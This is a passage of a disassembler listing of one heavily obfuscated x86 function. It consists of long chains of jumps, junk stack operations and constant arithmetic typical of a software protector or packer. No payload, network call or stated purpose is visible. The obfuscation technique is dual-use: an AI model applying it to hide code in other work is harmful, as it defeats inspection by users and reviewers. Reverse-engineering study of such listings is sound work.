sub_57DD3A+174DCj add edi, 5746461Eh jmp loc_59D36C ; --------------------------------------------------------------------------- loc_59566C: ; CODE XREF: sub_57DD3A+13826j mov eax, esp push 49ACh mov [esp+18h+var_1A+2], ecx push 4 jmp loc_59CAEC ; --------------------------------------------------------------------------- loc_595680: ; CODE XREF: sub_57DD3A+23123j mov [esp+1Ch+var_1E+2], esi push 12F296Bh jmp loc_5955AA ; --------------------------------------------------------------------------- loc_59568D: ; CODE XREF: sub_57DD3A+21B0Aj mov [esp+20h+var_22+2], ebp jmp loc_593C98 ; --------------------------------------------------------------------------- loc_595695: ; CODE XREF: sub_57DD3A+13C78j add edi, 4 sub edi, 4 xchg edi, [esp+0] pop esp jmp loc_59D787 ; --------------------------------------------------------------------------- loc_5956AA: ; CODE XREF: sub_57DD3A+1F610j sub esi, 4 xchg esi, [esp+6+var_8+2] jmp loc_590665 ; --------------------------------------------------------------------------- loc_5956B5: ; CODE XREF: sub_57DD3A+16A8Fj mov [esp+40h+var_42+2], ebp jmp loc_595DB0 ; --------------------------------------------------------------------------- loc_5956BD: ; CODE XREF: sub_57DD3A+14C0Dj ; sub_57DD3A+21575j push 69A3h mov [esp+12h+var_12], eax jmp loc_5A1D5D ; --------------------------------------------------------------------------- loc_5956CA: ; CODE XREF: sub_57DD3A+14FDCj add ebp, 4 xor ebp, [esp+1Ch+var_1E+2] jmp loc_5968FD ; --------------------------------------------------------------------------- loc_5956D5: ; CODE XREF: sub_57DD3A+1F252j pop esp mov [esp+18h+var_1A+2], esi jmp loc_59B602 ; --------------------------------------------------------------------------- loc_5956DE: ; DATA XREF: sub_57DD3A+1037Eo push [esp+18h+var_1A+2] mov eax, [esp+1Ch+var_1E+2] jmp loc_592773 ; --------------------------------------------------------------------------- loc_5956E9: ; CODE XREF: sub_57DD3A+1FA0Dj mov [esp+1Ch+var_1E+2], edx push 243Ah push esp pop [esp+24h+var_26+2] push eax mov eax, 4 add [esp+24h+var_22+2], eax pop eax mov edx, [esp+20h+var_22+2] add esp, 4 push eax mov eax, 602C5093h push esi mov esi, 44564666h add eax, esi pop esi push 1C10h mov [esp+24h+var_26+2], edx jmp loc_58F1F7 ; --------------------------------------------------------------------------- loc_595725: ; CODE XREF: sub_57DD3A+18A61j mov esp, [esp+24h+var_26+2] jmp loc_59A67F ; --------------------------------------------------------------------------- loc_59572D: ; CODE XREF: sub_57DD3A+24514j mov ebp, esi jmp loc_58FB2B ; --------------------------------------------------------------------------- loc_595734: ; CODE XREF: sub_57DD3A+22687j sub [esp+24h+var_22+2], edx mov edx, [esp+24h+var_26+2] add esp, 4 push [esp+20h+var_22+2] jmp loc_5923B1 ; --------------------------------------------------------------------------- loc_595746: ; CODE XREF: sub_57DD3A+1B203j pop eax push 7104h mov [esp+24h+var_26+2], ebx mov ebx, esp jmp loc_59044E ; --------------------------------------------------------------------------- loc_595756: ; CODE XREF: sub_57DD3A+1B6AAj add edx, esi sub edx, 0F1E09D8h pop esi xor edx, 30CB594Bh push edx inc [esp+24h+var_26+2] pop edx sub edx, 97198CB8h add esi, edx pop edx pop edi add esi, 4 xor esi, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], esi xor esi, [esp+18h+var_1A+2] pop esp xor al, dl mov edx, [esp+14h+var_16+2] add esp, 4 push eax mov al, 23h push cx mov ch, 8Ch jmp loc_5971BB ; --------------------------------------------------------------------------- loc_595798: ; CODE XREF: sub_57DD3A+15952j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_58F975 ; --------------------------------------------------------------------------- loc_5957AC: ; CODE XREF: sub_57DD3A+1D5C6j mov ebx, 42C82D58h add eax, 5C387470h sub eax, ebx jmp loc_5A0717 ; --------------------------------------------------------------------------- loc_5957BD: ; CODE XREF: sub_57DD3A+211F0j push ebx mov bh, 0Ch push ecx mov cl, bh mov ah, cl mov ecx, [esp+6Ah+var_6C+2] add esp, 4 pop ebx push 4Dh mov [esp+66h+var_68+2], ebx sub esp, 4 mov [esp+6Ah+var_6C+2], eax jmp loc_5A29AE ; --------------------------------------------------------------------------- loc_5957E5: ; CODE XREF: sub_57DD3A+22F75j sub esp, 4 mov [esp+6Eh+var_70+2], esi mov esi, esp jmp loc_58EBC6 ; --------------------------------------------------------------------------- loc_5957F2: ; CODE XREF: sub_57DD3A+175FAj mov ebx, 6C334CF2h jmp loc_59A4BC ; --------------------------------------------------------------------------- loc_5957FC: ; CODE XREF: sub_57DD3A+15CB2j push edx jmp loc_58E5C1 ; --------------------------------------------------------------------------- loc_595802: ; CODE XREF: sub_57DD3A+1C344j pop eax sub eax, 485525BEh not eax xor eax, 0FF61B73Fh mov edx, eax pop eax add [esp+4], edx jmp loc_598B30 ; --------------------------------------------------------------------------- loc_59581B: ; CODE XREF: sub_57DD3A+15FAFj push ebp jmp loc_596DA2 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+42h+var_42] sub esp, 4 jmp loc_5A275A ; --------------------------------------------------------------------------- loc_59582D: ; CODE XREF: sub_57DD3A+250FAj push 20FEh mov [esp+4Ah+var_4C+2], ecx push 42F63847h pop ecx push edx push 154936FDh pop edx jmp loc_598138 ; --------------------------------------------------------------------------- loc_595847: ; CODE XREF: sub_57DD3A+15026j pop eax pop ecx mov eax, [esp+7Ch+var_7C] jmp loc_5A13D4 ; --------------------------------------------------------------------------- loc_595851: ; CODE XREF: sub_57DD3A+1EE46j push 654h mov [esp+80h+var_80], ebp jmp loc_5A2E0C ; --------------------------------------------------------------------------- loc_59585E: ; CODE XREF: sub_57DD3A+14AFEj mov [esp+68h+var_68], eax mov eax, 0BA875E8h mov esi, eax pop eax and esi, 62CF31CFh push ebp jmp loc_594B6E ; --------------------------------------------------------------------------- loc_595875: ; CODE XREF: sub_57DD3A+2257Bj mov [esp+68h+var_68], edx jmp loc_59840C ; --------------------------------------------------------------------------- loc_59587D: ; CODE XREF: sub_57DD3A+242B3j add ebx, 66B1306Dh xor ebx, 81ABB995h add eax, 313B1959h sub eax, ebx sub eax, 313B1959h jmp loc_59DBCA ; --------------------------------------------------------------------------- loc_59589A: ; CODE XREF: sub_57DD3A+25469j pop edi pop esi xor edx, [esp+60h+var_60] jmp loc_5A0D60 ; --------------------------------------------------------------------------- loc_5958A4: ; CODE XREF: sub_57DD3A+1B977j not ch jmp loc_594757 ; --------------------------------------------------------------------------- loc_5958AB: ; CODE XREF: sub_57DD3A+19229j pop [esp+60h+var_60] pop esp push ebp mov ebp, 13AC2CA0h jmp loc_59D682 ; --------------------------------------------------------------------------- loc_5958BA: ; CODE XREF: sub_57DD3A+23C62j mov [esp+5Ch+var_5C], esi mov esi, 4 jmp loc_59EF2F ; --------------------------------------------------------------------------- loc_5958C7: ; CODE XREF: sub_57DD3A+22079j mov edx, 1 sub ecx, edx jmp loc_59FB83 ; --------------------------------------------------------------------------- loc_5958D3: ; CODE XREF: sub_57DD3A+13E8Bj push [esp+4Ah+var_4C+2] pop edi push esi jmp loc_59130A ; --------------------------------------------------------------------------- loc_5958DD: ; CODE XREF: sub_57DD3A+2408Cj mov [esp+4Eh+var_50+2], ebx jmp loc_58EDB7 ; --------------------------------------------------------------------------- loc_5958E5: ; CODE XREF: sub_57DD3A+19F12j add edx, 9548D2BCh sub esp, 4 jmp loc_59474C ; --------------------------------------------------------------------------- loc_5958F6: ; CODE XREF: sub_57DD3A+23CBCj xor [esp+52h+var_54+2], ecx xor ecx, [esp+52h+var_54+2] pop esp xor bx, ax jmp loc_5947CE ; --------------------------------------------------------------------------- loc_595905: ; CODE XREF: sub_57DD3A+141A4j or eax, 5ABA2206h shl eax, 5 sub eax, 7F4973C6h xor ebp, eax pop eax shr ebp, 4 push eax push edx mov edx, 3ED156D7h mov eax, edx jmp loc_58FD21 ; --------------------------------------------------------------------------- loc_595926: ; CODE XREF: sub_57DD3A+1858Ej sar word ptr [esp+70h+var_70], cl pushf jmp loc_599333 ; --------------------------------------------------------------------------- loc_595930: ; CODE XREF: sub_57DD3A+188E9j push esi mov esi, 1FCC65F4h neg esi jmp loc_598DB0 ; --------------------------------------------------------------------------- loc_59593D: ; CODE XREF: sub_57DD3A+11C36j pop esp jmp loc_5A25A7 ; --------------------------------------------------------------------------- loc_595943: ; CODE XREF: sub_57DD3A+14DE1j sub ebp, 3AD35AC6h jmp loc_599284 ; --------------------------------------------------------------------------- loc_59594E: ; CODE XREF: sub_57DD3A+164FFj pop edi or edi, 617D581Fh sub edi, 2A1565F2h jmp loc_59E12B ; --------------------------------------------------------------------------- loc_595960: ; CODE XREF: sub_57DD3A+14F32j mov word ptr [esp+66h+var_68+2], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_595969: ; CODE XREF: sub_57DD3A+11EB9j mov [esp+14h+var_16+2], ebp push esi mov esi, 0Ah sub esp, 4 mov [esp+1Ch+var_1E+2], ecx push esi jmp loc_59A350 ; --------------------------------------------------------------------------- loc_59597E: ; CODE XREF: sub_57DD3A+118C8j add edi, 48E5B06h add edi, ecx sub edi, 48E5B06h sub edi, 237B0DA4h push edx mov edx, 497744A0h sub edi, edx jmp loc_59B894 ; --------------------------------------------------------------------------- loc_59599F: ; CODE XREF: sub_57DD3A+25404j sub esp, 4 mov [esp+74h+var_74], ebx not [esp+74h+var_74] pop ebx jmp loc_5A31B8 ; --------------------------------------------------------------------------- loc_5959B1: ; CODE XREF: sub_57DD3A+151D7j mov esp, [esp+4Ah+var_4C+2] mov [esp+4Ah+var_4C+2], ebp mov ebp, 5FD7660Ch push ecx mov ecx, 38A65E29h jmp loc_597323 ; --------------------------------------------------------------------------- loc_5959C7: ; CODE XREF: sub_57DD3A+18968j mov [esp+4Eh+var_50+2], edx mov edx, 4 add ebp, edx pop edx jmp loc_5927BB ; --------------------------------------------------------------------------- loc_5959D7: ; CODE XREF: sub_57DD3A+10E77j add al, 0ADh add al, dl sub al, 0ADh mov edx, [esp+26h+var_26] add esp, 4 push ecx jmp loc_5945FE ; --------------------------------------------------------------------------- loc_5959E9: ; CODE XREF: sub_57DD3A+11FC9j sub eax, ebx pop ebx add edi, 16F91973h add edi, eax sub edi, 16F91973h jmp loc_58F315 ; --------------------------------------------------------------------------- loc_5959FF: ; CODE XREF: sub_57DD3A+14832j pop edx push ecx jmp loc_59DE28 ; --------------------------------------------------------------------------- loc_595A06: ; CODE XREF: sub_57DD3A+1E32Dj add edi, ecx mov ecx, [esp+20h+var_22+2] add esp, 4 push edi push [esp+20h+var_1E+2] pop edi pop [esp+20h+var_22+2] jmp loc_5A2D39 ; --------------------------------------------------------------------------- loc_595A1F: ; CODE XREF: sub_57DD3A+13969j mov edi, esp push ebp push 1557630Fh jmp loc_596B42 ; --------------------------------------------------------------------------- loc_595A2C: ; CODE XREF: sub_57DD3A+1837Ej sub eax, 4 xor eax, [esp+3Ah+var_3A] xor [esp+3Ah+var_3A], eax xor eax, [esp+3Ah+var_3A] pop esp jmp loc_5916B9 ; --------------------------------------------------------------------------- loc_595A3E: ; CODE XREF: sub_57DD3A+1F2A4j mov [esp+36h+var_36], ebx mov ebx, esp add ebx, 4 push 0B94h mov [esp+3Ah+var_3A], edi jmp loc_58FB91 ; --------------------------------------------------------------------------- loc_595A56: ; CODE XREF: sub_57DD3A+1891Bj mov [esp+3Ah+var_3A], edx sub esp, 4 push esp pop [esp+42h+var_42] add [esp+3Eh+var_3E], 4 mov edx, [esp+3Eh+var_3E] add esp, 4 push 16C7h jmp loc_5A0276 ; --------------------------------------------------------------------------- loc_595A7A: ; CODE XREF: sub_57DD3A+1E76Ej mov edi, esp jmp loc_59D6E3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] push [esp+42h+var_42] push [esp+46h+var_46] pop eax jmp loc_596A18 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+46h+var_46] push 6B1Ah mov [esp+4Ah+var_4C+2], edi push esp mov edi, [esp+4Eh+var_50+2] sub esp, 4 mov [esp+52h+var_54+2], ebp push esp jmp loc_5A09EF ; --------------------------------------------------------------------------- loc_595AAF: ; CODE XREF: sub_57DD3A+10A6Cj add esi, 0A7103902h and ecx, esi jmp loc_595CB6 ; --------------------------------------------------------------------------- loc_595ABC: ; CODE XREF: sub_57DD3A+115D6j pop eax sub eax, 0F492E9DCh and ebp, eax pop eax or ebp, 78DD4AAEh neg ebp not ebp jmp loc_59A62A ; --------------------------------------------------------------------------- loc_595AD4: ; CODE XREF: sub_57DD3A+20B3Fj add bh, 2 jmp loc_59A11F ; --------------------------------------------------------------------------- loc_595ADC: ; CODE XREF: sub_57DD3A+18162j push eax mov ah, 0E9h mov bh, ah pop eax sub al, bh pop bx push [esp+3Ch+var_3E+2] pop edx push eax mov eax, esp jmp loc_593292 ; --------------------------------------------------------------------------- loc_595AF2: ; CODE XREF: sub_57DD3A+1C573j shl edi, 3 jmp loc_5A0D3A ; --------------------------------------------------------------------------- loc_595AFA: ; CODE XREF: sub_57DD3A+12A6Aj push [esp+20h+var_22+2] mov ecx, [esp+24h+var_26+2] add esp, 4 add esp, 4 pop edx jmp loc_5A001D ; --------------------------------------------------------------------------- loc_595B0F: ; CODE XREF: sub_57DD3A+1486Ej mov esi, eax pop eax pop ebp jmp loc_59CAF8 ; --------------------------------------------------------------------------- loc_595B18: ; CODE XREF: sub_57DD3A+16700j mov edi, 0D29D70C4h sub edx, edi jmp loc_59DDDA ; --------------------------------------------------------------------------- loc_595B24: ; CODE XREF: sub_57DD3A+22D0Ej push [esp+18h+var_1A+2] mov eax, [esp+1Ch+var_1E+2] jmp loc_5A0978 ; --------------------------------------------------------------------------- loc_595B2F: ; CODE XREF: sub_57DD3A+1FCDFj add esi, 56674C12h xor esi, 0C54A374Ch or ecx, esi pop esi jmp loc_59BDB1 ; --------------------------------------------------------------------------- loc_595B43: ; CODE XREF: sub_57DD3A+1BD6Bj xor ebp, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] sub byte ptr [esp+18h+var_1A+2], al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_595B52: ; CODE XREF: sub_57DD3A+185CBj and ecx, 6AD27BA0h sub ecx, 73981E01h jmp loc_5A272F ; --------------------------------------------------------------------------- loc_595B63: ; CODE XREF: sub_57DD3A+1E0A2j dec esi jmp loc_58F2A5 ; --------------------------------------------------------------------------- loc_595B69: ; CODE XREF: sub_57DD3A+12D9Aj or edi, esi pop esi push ebx mov ebx, 18B5E733h xor edi, ebx push [esp+10h+var_12+2] pop ebx push edx jmp loc_59A4C4 ; --------------------------------------------------------------------------- loc_595B7E: ; CODE XREF: sub_57DD3A+18EBDj push ecx mov cl, 0BCh xor bl, cl pop ecx not bl jmp loc_58F6AD ; --------------------------------------------------------------------------- loc_595B8B: ; CODE XREF: sub_57DD3A+1C0EBj pop eax jmp loc_58FC68 ; --------------------------------------------------------------------------- loc_595B91: ; CODE XREF: sub_57DD3A+1A028j add ecx, 0FFFFFFFFh xor ecx, 2FCA36A7h mov eax, ecx pop ecx xchg eax, edi jmp loc_58EC16 ; --------------------------------------------------------------------------- loc_595BA3: ; CODE XREF: sub_57DD3A+1D3F9j sub eax, esi pop esi sub eax, 50394FEEh sub eax, ebp add eax, 50394FEEh add eax, 7DB20F09h mov ebp, [esp+8+var_8] add esp, 4 xor ebx, eax push 434Eh mov [esp+8+var_8], ebx jmp loc_59EEFA ; --------------------------------------------------------------------------- loc_595BCC: ; CODE XREF: sub_57DD3A+1F546j xor eax, esi mov esi, [esp+8+var_8] jmp loc_5A09FE ; --------------------------------------------------------------------------- loc_595BD6: ; CODE XREF: sub_57DD3A+11078j mov ebp, 4 add edx, ebp pop ebp xor edx, [esp+22h+var_22] xor [esp+22h+var_22], edx jmp loc_5A0EC7 ; --------------------------------------------------------------------------- loc_595BE9: ; CODE XREF: sub_57DD3A+1D0FBj mov [esp+22h+var_22], edx sub esp, 4 jmp loc_598569 ; --------------------------------------------------------------------------- loc_595BF4: ; CODE XREF: sub_57DD3A+12146j add [esp+10h+var_E+2], ebp add [esp+10h+var_E+2], 0F947751h sub [esp+10h+var_E+2], 3EFD2530h pop ebp jmp loc_59BA25 ; --------------------------------------------------------------------------- loc_595C0E: ; CODE XREF: sub_57DD3A+158FEj not ebx add ebx, 0B9D25BF7h sub ebp, ebx pop ebx sub ebp, 40410700h pop ebx jmp loc_59183F ; --------------------------------------------------------------------------- loc_595C25: ; CODE XREF: sub_57DD3A+18644j push ecx mov ecx, 1 mov edi, ecx mov ecx, [esp+1Eh+var_1E] add esp, 4 jmp loc_5981F6 ; --------------------------------------------------------------------------- loc_595C38: ; CODE XREF: sub_57DD3A+20DD0j mov esi, 600C41BEh add ebx, esi pop esi sub ebx, ecx jmp loc_590772 ; --------------------------------------------------------------------------- loc_595C47: ; CODE XREF: sub_57DD3A+10A95j push ebx jmp loc_590460 ; --------------------------------------------------------------------------- loc_595C4D: ; CODE XREF: sub_57DD3A+13948j add ebp, 4 xchg ebp, [esp+0Ch+var_E+2] mov esp, [esp+0Ch+var_E+2] push edx push [esp+10h+var_E+2] jmp loc_59CE42 ; --------------------------------------------------------------------------- loc_595C63: ; CODE XREF: sub_57DD3A+199CCj push ebx push [esp+18h+var_16+2] jmp loc_5916F4 ; --------------------------------------------------------------------------- loc_595C6D: ; CODE XREF: sub_57DD3A+1EF6Ej pop esi xor esi, 5EC32879h mov eax, esi pop esi xor eax, 1C074DF7h sub ecx, eax jmp loc_594AD7 ; --------------------------------------------------------------------------- loc_595C83: ; CODE XREF: sub_57DD3A+11C9Ej pop ebx sub eax, 4 xchg eax, [esp+0Ch+var_E+2] pop esp mov [esp+8+var_8], esi mov esi, esp add esi, 4 jmp loc_59D587 ; --------------------------------------------------------------------------- loc_595C9D: ; CODE XREF: sub_57DD3A+1C2F6j add esp, 4 push small 5D9Eh mov word ptr [esp+6+var_8+2], bx sub esp, 4 mov [esp+0], ecx jmp loc_59C8CD ; --------------------------------------------------------------------------- loc_595CB6: ; CODE XREF: sub_57DD3A+17D7Dj pop esi neg ecx push ebx mov ebx, 623D55DAh shl ebx, 8 jmp loc_5A05A7 ; --------------------------------------------------------------------------- loc_595CC7: ; CODE XREF: sub_57DD3A+11FA2j mov [esp+10h+var_12+2], esp add [esp+10h+var_12+2], 4 pop edx add edx, 4 push 777Ch mov [esp+10h+var_12+2], esi mov esi, 2 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], edi mov edi, 0B052177h add edx, edi pop edi add edx, esi push 6D01h mov [esp+10h+var_12+2], esi push eax push ecx push 10606E0h pop ecx neg ecx push eax mov eax, 0F6146B5h add ecx, eax jmp loc_591F9A ; --------------------------------------------------------------------------- loc_595D21: ; CODE XREF: sub_57DD3A+1F25Dj sub ecx, 3B55E935h sub edx, ecx pop ecx jmp loc_59BB2C ; --------------------------------------------------------------------------- loc_595D2F: ; CODE XREF: sub_57DD3A+1689Aj shl edx, 8 not edx jmp loc_599106 ; --------------------------------------------------------------------------- loc_595D39: ; CODE XREF: sub_57DD3A+240F0j dec edi sub edi, 0FD77BFBBh add eax, edi pop edi xor eax, [esp+50h+var_50] xor [esp+50h+var_50], eax xor eax, [esp+50h+var_50] jmp loc_599D59 ; --------------------------------------------------------------------------- loc_595D51: ; CODE XREF: sub_57DD3A+1B41Cj shl cl, 2 or cl, 1Fh or cl, 3Dh shl cl, 5 neg cl xor cl, 6Ch and bh, cl pop ecx not bh jmp loc_595445 ; --------------------------------------------------------------------------- loc_595D6C: ; CODE XREF: sub_57DD3A+13ECFj pop eax push 47E4h mov [esp+10h+var_12+2], edx push [esp+10h+var_E+2] pop edx pop [esp+10h+var_12+2] mov esp, [esp+0Ch+var_E+2] mov cx, word ptr [esp+0Ch+var_E+2] push 1ADBh mov [esp+10h+var_12+2], eax sub esp, 4 mov [esp+14h+var_16+2], esp add [esp+14h+var_16+2], 4 jmp loc_592799 ; --------------------------------------------------------------------------- loc_595DA1: ; CODE XREF: sub_57DD3A+1DFF9j pop esi add esi, 1 xor esi, 0B353CDE0h jmp loc_598D5A ; --------------------------------------------------------------------------- loc_595DB0: ; CODE XREF: sub_57DD3A+1797Ej push edx jmp loc_5A20B9 ; --------------------------------------------------------------------------- loc_595DB6: ; CODE XREF: sub_57DD3A+1BFADj xor edx, 11AD5841h jmp loc_59EFA3 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+44h+var_46+2] push 4AD2h mov [esp], ebx push esi mov esi, esp jmp loc_59223F ; --------------------------------------------------------------------------- loc_595DD5: ; CODE XREF: sub_57DD3A+1F61Ej pop ebp add ebp, 4 jmp loc_590686 ; --------------------------------------------------------------------------- loc_595DE1: ; CODE XREF: sub_57DD3A+1C1DFj pop eax push ebp mov ebp, 2C4913D0h add ebp, 6F6D0794h jmp loc_59F7EE ; --------------------------------------------------------------------------- loc_595DF3: ; CODE XREF: sub_57DD3A+1DCB6j add bh, 0F2h sub bh, dh sub bh, 0F2h jmp loc_599AE6 ; --------------------------------------------------------------------------- loc_595E00: ; CODE XREF: sub_57DD3A+12CEEj mov [esp+12h+var_12], edi mov edi, 2 sub esi, 2C9B4D09h jmp loc_59A389 ; --------------------------------------------------------------------------- loc_595E13: ; CODE XREF: sub_57DD3A+1FBD2j push esi mov esi, esp jmp loc_58ED86 ; --------------------------------------------------------------------------- loc_595E1B: ; CODE XREF: sub_57DD3A+1356Cj pop ebx jmp loc_59CCE5 ; --------------------------------------------------------------------------- loc_595E21: ; CODE XREF: sub_57DD3A+22E64j push 4989h mov [esp+4Eh+var_50+2], esp add [esp+4Eh+var_50+2], 4 pop edx push 460Eh mov [esp+4Eh+var_50+2], ebx mov ebx, 5FF7B62h jmp loc_5955B8 ; --------------------------------------------------------------------------- loc_595E40: ; CODE XREF: sub_57DD3A+15A65j pop ecx dec edi add edi, 0FFFFFFFFh add edi, 201A17D3h and eax, edi push [esp+14h+var_16+2] mov edi, [esp+18h+var_1A+2] jmp loc_59212A ; --------------------------------------------------------------------------- loc_595E5B: ; CODE XREF: sub_57DD3A+23568j push 441634ACh pop ebx jmp loc_59259E ; --------------------------------------------------------------------------- loc_595E66: ; CODE XREF: sub_57DD3A+11542j push ecx mov cl, 9Eh jmp loc_5A1D8C ; --------------------------------------------------------------------------- loc_595E6E: ; CODE XREF: sub_57DD3A+20BA8j add esp, 4 sub esp, 4 mov [esp+14h+var_16+2], esi not [esp+14h+var_16+2] jmp loc_597A6A ; --------------------------------------------------------------------------- loc_595E7F: ; CODE XREF: sub_57DD3A+1771Dj add bh, 1Eh push ecx mov ch, bh jmp loc_5973C3 ; --------------------------------------------------------------------------- loc_595E8A: ; CODE XREF: sub_57DD3A+222CFj push ebp mov ebp, esp add ebp, 4 jmp loc_5919FD ; --------------------------------------------------------------------------- loc_595E98: ; CODE XREF: sub_57DD3A+220AAj mov word ptr [esp+54h+var_54], bx jmp loc_595ADC ; --------------------------------------------------------------------------- loc_595EA1: ; CODE XREF: sub_57DD3A+138B1j add eax, ebx sub eax, 13290CD3h push edx jmp loc_59AAB0 ; --------------------------------------------------------------------------- loc_595EAE: ; CODE XREF: sub_57DD3A+164EAj add edx, 0FFFFFFFFh jmp loc_59C23D ; --------------------------------------------------------------------------- loc_595EB9: ; CODE XREF: sub_57DD3A+14101j pop ecx push ebp push 6629h mov [esp+20h+var_22+2], edx jmp loc_58EC0C ; --------------------------------------------------------------------------- loc_595EC8: ; CODE XREF: sub_57DD3A+1F8EAj add [esp+20h+var_1A+2], 7676107Fh sub [esp+20h+var_1A+2], esi sub [esp+20h+var_1A+2], 7676107Fh add [esp+20h+var_1A+2], 35DB0E59h pop esi add [esp+1Ch+var_1A+2], ebx push esi mov esi, 62115A0Bh add [esp+20h+var_1A+2], 33346ACCh add [esp+20h+var_1A+2], esi sub [esp+20h+var_1A+2], 33346ACCh mov esi, [esp+20h+var_22+2] add esp, 4 jmp loc_5A26B2 ; --------------------------------------------------------------------------- loc_595F11: ; CODE XREF: sub_57DD3A+1D1A0j add ecx, eax add ecx, 6A0B36A1h push [esp+1Ch+var_1E+2] pop eax jmp loc_59A6E7 ; --------------------------------------------------------------------------- loc_595F22: ; CODE XREF: sub_57DD3A+1FE42j push ax jmp loc_594E48 ; --------------------------------------------------------------------------- loc_595F29: ; CODE XREF: sub_57DD3A+1114Aj sub edx, 7555A104h sub eax, 71E340A2h sub eax, edx add eax, 71E340A2h pop edx push edx mov edx, 694B3AB4h dec edx sub edx, 0C9AEEC6h sub edi, edx pop edx sub edi, 1630421Ah add edi, eax add edi, 1630421Ah jmp loc_59659A ; --------------------------------------------------------------------------- loc_595F5F: ; CODE XREF: sub_57DD3A+22EE3j sub esp, 4 mov [esp+2Eh+var_2E], eax jmp loc_59BB6B ; --------------------------------------------------------------------------- loc_595F6D: ; CODE XREF: sub_57DD3A+1B967j add eax, 4 add eax, 4 xchg eax, [esp+2Eh+var_2E] pop esp push edx mov edx, 0 add edx, eax push eax mov eax, 0 add eax, edx jmp loc_59FD31 ; --------------------------------------------------------------------------- loc_595F8E: ; CODE XREF: sub_57DD3A+15CC3j inc edi neg edi inc edi and edi, 467C5FCAh add edi, 0FFFFFFFFh jmp loc_599E03 ; --------------------------------------------------------------------------- loc_595FA0: ; CODE XREF: sub_57DD3A+15B9Aj and edx, ebp pop ebp xor edx, 23DA6D90h add ebp, edx mov edx, [esp+68h+var_68] jmp loc_59990F ; --------------------------------------------------------------------------- loc_595FB3: ; CODE XREF: sub_57DD3A+1F358j add eax, ecx jmp loc_5A2F8C ; --------------------------------------------------------------------------- loc_595FBA: ; CODE XREF: sub_57DD3A+222F1j push ecx jmp loc_59FDE9 ; --------------------------------------------------------------------------- loc_595FC0: ; CODE XREF: sub_57DD3A+171FCj add esi, 0FFEC9800h jmp loc_59758F ; --------------------------------------------------------------------------- loc_595FCB: ; CODE XREF: sub_57DD3A+152C0j add edx, edi mov edi, [esp+46h+var_46] add esp, 4 add edx, ecx jmp loc_5A1C96 ; --------------------------------------------------------------------------- loc_595FDA: ; CODE XREF: sub_57DD3A+1E9F0j inc ebp not ebp not ebp add ebp, 408ED50Eh push esi push 75A6050Fh pop esi and esi, 0EDB64E2h inc esi push ecx mov ecx, 39557ECFh not ecx add ecx, 79F43976h sub ecx, 4C80BCEh and ecx, 34263B29h jmp loc_598B6D ; --------------------------------------------------------------------------- loc_596012: ; CODE XREF: sub_57DD3A+1EB35j push ebp mov ebp, esp jmp loc_5954CE ; --------------------------------------------------------------------------- loc_59601A: ; DATA XREF: sub_57DD3A+10522o mov ax, fs:[edx] push ecx mov ecx, esp add ecx, 4 push 768Dh mov [esp+56h+var_58+2], esi push ebp mov ebp, 2E98298Ah sub ebp, 2E982988h mov esi, ebp pop ebp sub ecx, esi mov esi, [esp+56h+var_58+2] push 3DE0h jmp loc_5A0256 ; --------------------------------------------------------------------------- loc_59604D: ; CODE XREF: sub_57DD3A+1D741j mov [esp+5Ah+var_5C+2], edi sub esp, 4 mov [esp+5Eh+var_60+2], edx mov edx, 4 mov edi, edx mov edx, [esp+5Eh+var_60+2] add esp, 4 push edx mov edx, 7C564DBCh add eax, edx pop edx add eax, edi sub eax, 7C564DBCh pop edi add eax, 2 xor eax, [esp+56h+var_58+2] xor [esp+56h+var_58+2], eax jmp loc_59192B ; --------------------------------------------------------------------------- loc_59608A: ; CODE XREF: sub_57DD3A+222D7j or cl, 0F9h add cl, 1 push ebx mov bh, 9Bh sub bh, 9Ah jmp loc_5A145E ; --------------------------------------------------------------------------- loc_59609B: ; CODE XREF: sub_57DD3A+21355j push 50A4h mov [esp+5Eh+var_60+2], ebp mov ebp, 5EEC340Dh xor ebp, 1CB34AA0h jmp loc_59386F ; --------------------------------------------------------------------------- loc_5960B3: ; CODE XREF: sub_57DD3A+17497j add eax, 4 jmp loc_595A2C ; --------------------------------------------------------------------------- loc_5960BD: ; CODE XREF: sub_57DD3A+1A5D3j xor edi, 679B6DCCh add ecx, edi jmp loc_5A2638 ; --------------------------------------------------------------------------- loc_5960CA: ; CODE XREF: sub_57DD3A+213A4j pop ebp jmp loc_5A1578 ; --------------------------------------------------------------------------- loc_5960D0: ; CODE XREF: sub_57DD3A+1C41Cj mov ebx, [esp+58h+var_58] push ebp jmp loc_5A194C ; --------------------------------------------------------------------------- loc_5960D9: ; CODE XREF: sub_57DD3A+211F7j pop esi push edx push [esp+5Ch+var_58] pop edx jmp loc_58EDC1 ; --------------------------------------------------------------------------- loc_5960E5: ; CODE XREF: sub_57DD3A+1E719j sub bl, 7Ch jmp loc_58FEE5 ; --------------------------------------------------------------------------- loc_5960ED: ; CODE XREF: sub_57DD3A+1FC6Fj or eax, 75F26021h add eax, 70AF67E4h jmp loc_59D422 ; --------------------------------------------------------------------------- loc_5960FC: ; CODE XREF: sub_57DD3A+23BEDj add eax, ebx pop ebx add eax, 2 xchg eax, [esp+58h+var_58] mov esp, [esp+58h+var_58] push ecx push edx mov dh, 0E8h shr dh, 7 shl dh, 5 jmp loc_5A080C ; --------------------------------------------------------------------------- loc_596119: ; CODE XREF: sub_57DD3A+19AF1j pop esp add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx push edx mov edx, 112721FEh not edx or edx, 3911ED4h sub edx, 362C500Ch jmp loc_59801D ; --------------------------------------------------------------------------- loc_59613F: ; CODE XREF: sub_57DD3A+14BC1j pop esp push edi jmp loc_596C0E ; --------------------------------------------------------------------------- loc_596146: ; CODE XREF: sub_57DD3A+14DFEj mov ebx, 4A20D72h shl ebx, 3 xchg esi, ebx not esi xchg esi, ebx jmp loc_5A31A8 ; --------------------------------------------------------------------------- loc_596159: ; CODE XREF: sub_57DD3A+1FD5Fj mov [esp+0], edx push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp+2+var_4+2] pop esp mov [esp+0], ebp push ebx mov 